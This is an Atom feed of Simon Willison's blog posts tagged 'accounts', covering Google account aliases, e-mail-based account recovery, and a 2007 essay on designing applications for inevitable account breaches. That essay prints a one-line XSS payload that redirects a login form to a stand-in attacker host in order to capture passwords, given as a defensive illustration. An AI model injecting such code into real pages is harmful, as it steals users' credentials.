<?xml version="1.0" encoding="utf-8"?>
<feed xml:lang="en-us" xmlns="http://www.w3.org/2005/Atom"><title>Simon Willison's Weblog: accounts</title><link href="http://simonwillison.net/" rel="alternate"/><link href="http://simonwillison.net/tags/accounts.atom" rel="self"/><id>http://simonwillison.net/</id><updated>2010-01-25T11:21:34+00:00</updated><author><name>Simon Willison</name></author><entry><title>Fixing the Google Account problem</title><link href="https://simonwillison.net/2010/Jan/25/fixing/#atom-tag" rel="alternate"/><published>2010-01-25T11:21:34+00:00</published><updated>2010-01-25T11:21:34+00:00</updated><id>https://simonwillison.net/2010/Jan/25/fixing/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.equalsdrummond.name/?p=267"&gt;Fixing the Google Account problem&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
3,000+ words explaining how to open a Google Doc invitation sent to an e-mail address that isn’t associated with your Google account. Worth reading just to get an idea for the enormous complexity involved in running a large scale identity system and designing an interface for managing aliases and multiple profiles. Google haven’t got it right yet—has anyone else?


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/accounts"&gt;accounts&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/drummondreed"&gt;drummondreed&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/gmail"&gt;gmail&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/google"&gt;google&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/identity"&gt;identity&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/usability"&gt;usability&lt;/a&gt;&lt;/p&gt;



</summary><category term="accounts"/><category term="drummondreed"/><category term="gmail"/><category term="google"/><category term="identity"/><category term="usability"/></entry><entry><title>"Recover my account" link on the login page</title><link href="https://simonwillison.net/2009/Feb/16/recover/#atom-tag" rel="alternate"/><published>2009-02-16T22:22:27+00:00</published><updated>2009-02-16T22:22:27+00:00</updated><id>https://simonwillison.net/2009/Feb/16/recover/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://stackoverflow.uservoice.com/pages/general/suggestions/121262-recover-my-account-link-on-the-login-page"&gt;&amp;quot;Recover my account&amp;quot; link on the login page&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
For the record, collecting and verifying e-mail addresses is a VERY good idea, even (especially?) if you accept OpenID. A verified e-mail address is still absolutely the best way to deal with lost passwords or “my OpenID isn’t working”.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/accounts"&gt;accounts&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/email"&gt;email&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/identity"&gt;identity&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/openid"&gt;openid&lt;/a&gt;&lt;/p&gt;



</summary><category term="accounts"/><category term="email"/><category term="identity"/><category term="openid"/></entry><entry><title>Designing for a security breach</title><link href="https://simonwillison.net/2007/Sep/30/designing/#atom-tag" rel="alternate"/><published>2007-09-30T21:29:32+00:00</published><updated>2007-09-30T21:29:32+00:00</updated><id>https://simonwillison.net/2007/Sep/30/designing/#atom-tag</id><summary type="html">
    &lt;p&gt;&lt;em&gt;User account breaches are inevitable. We should take that in to account when designing our applications.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;My work with OpenID has lead me to think a lot harder about account security in general. Staying secure on the Web is surprisingly difficult, even for experienced internet users - which means the mainstream public are in a whole heap of trouble.&lt;/p&gt;

&lt;p&gt;Phishing is incredibly effective; the &lt;a href="http://www.vnunet.com/vnunet/news/2127105/brits-fail-online-phishing-test" title="Brits fail online phishing test"&gt;vast majority&lt;/a&gt; of people can't tell the difference between a phished version of a site and a real one, and applications don't help the situation by sending dozens of e-mails encouraging people to sign in or serving their legitimate login page on unrecognisable domains. Even worse, &lt;a href="http://www.facebook.com/" title="Facebook"&gt;many&lt;/a&gt; &lt;a href="http://www.linkedin.com/" title="Linked In"&gt;social&lt;/a&gt; &lt;a href="http://twitter.com/" title="Twitter"&gt;networking&lt;/a&gt; &lt;a href="http://www.dopplr.com/" title="Dopplr"&gt;sites&lt;/a&gt; actively &lt;em&gt;encourage&lt;/em&gt; bad security habits by asking users for their webmail username and password in order to scrape their address book for contacts.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt; attacks (the latter which opens up the former even in the few sites that have CSRF protection) are everywhere, and make phishing for user passwords even easier. If you can inject the following XSS attack in to a login page all bets are off:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;document.forms[0].action='http://hax0r.example.com/capture.cgi'&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Your application may be perfectly secure, but if one of your users uses the same username and password on a less secure application that gets cracked or XSSd their account on your service can be compromised as well.&lt;/p&gt;

&lt;p&gt;Most worrying of all is the way most user's entire online identities are attached to a single webmail account. People often criticise OpenID for putting all of a user's eggs in one basket, but don't realise that for most people their e-mail already serves that purpose. Steal my mail account and you can use forgotten password requests to steal everything else. Here's &lt;a href="http://p1k3.com/2007/9/1" title="Your paranoia is justified"&gt;a nasty recent example&lt;/a&gt; of that happening with a Gmail account.&lt;/p&gt;

&lt;p&gt;(This is why I'm excited to see OpenID providers moving towards more secure methods of authentication such as &lt;a href="http://janrain.com/blog/2007/04/20/and-then-there-were-none-zero-passwords-with-client-certificates/" title="And then there were none — Zero Passwords with Client Certificates"&gt;client-side SSL certificates&lt;/a&gt; and two-factor authentication with &lt;a href="http://en.wikipedia.org/wiki/SecurID"&gt;a physical token&lt;/a&gt;. Users can afford to have a stronger relationship with their OpenID provider than the other sites they sign in to. It would be nice to see the same authentication measures made available for popular webmail systems.)&lt;/p&gt;

&lt;p&gt;If your web application hosts any valuable information at all, it's prudent to expect that some significant proportion of your users will eventually have their accounts hijacked.&lt;/p&gt;

&lt;p&gt;This introduces some interesting design challenges. If we expect that at least some of our users' accounts will be compromised, what can we do to minimise the damage that an attacker can cause?&lt;/p&gt;

&lt;p&gt;Online privacy campaigners frequently call for data and account deletion to be irreversible, but paradoxically this makes for even more trouble if an account is hijacked. Maybe applications should experiment with "root" level passwords that must be entered to make irreversible changes to an account (emptying the trash can for example). Of course, that just makes the whole password problem twice as bad.&lt;/p&gt;

&lt;p&gt;I don't have any answers, but I'd love to see some discussion about this. Are there any best practices that have already emerged in this area?&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/accounts"&gt;accounts&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/csrf"&gt;csrf&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/designingforabreach"&gt;designingforabreach&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/openid"&gt;openid&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/phishing"&gt;phishing&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/privacy"&gt;privacy&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/xss"&gt;xss&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="accounts"/><category term="csrf"/><category term="designingforabreach"/><category term="openid"/><category term="phishing"/><category term="privacy"/><category term="security"/><category term="xss"/></entry><entry><title>hasAccount</title><link href="https://simonwillison.net/2007/Sep/28/as/#atom-tag" rel="alternate"/><published>2007-09-28T09:10:56+00:00</published><updated>2007-09-28T09:10:56+00:00</updated><id>https://simonwillison.net/2007/Sep/28/as/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.kryogenix.org/days/2007/09/28/hasaccount"&gt;hasAccount&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Stuart proposes a light-weight API for letting any site know if a user has an account (and is signed in) on another service. I wouldn’t want to deploy this without being confident that my CSRF protection was in order.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/accounts"&gt;accounts&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/api"&gt;api&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/crossdomain"&gt;crossdomain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/csrf"&gt;csrf&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/json"&gt;json&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/stuart-langridge"&gt;stuart-langridge&lt;/a&gt;&lt;/p&gt;



</summary><category term="accounts"/><category term="api"/><category term="crossdomain"/><category term="csrf"/><category term="json"/><category term="stuart-langridge"/></entry></feed>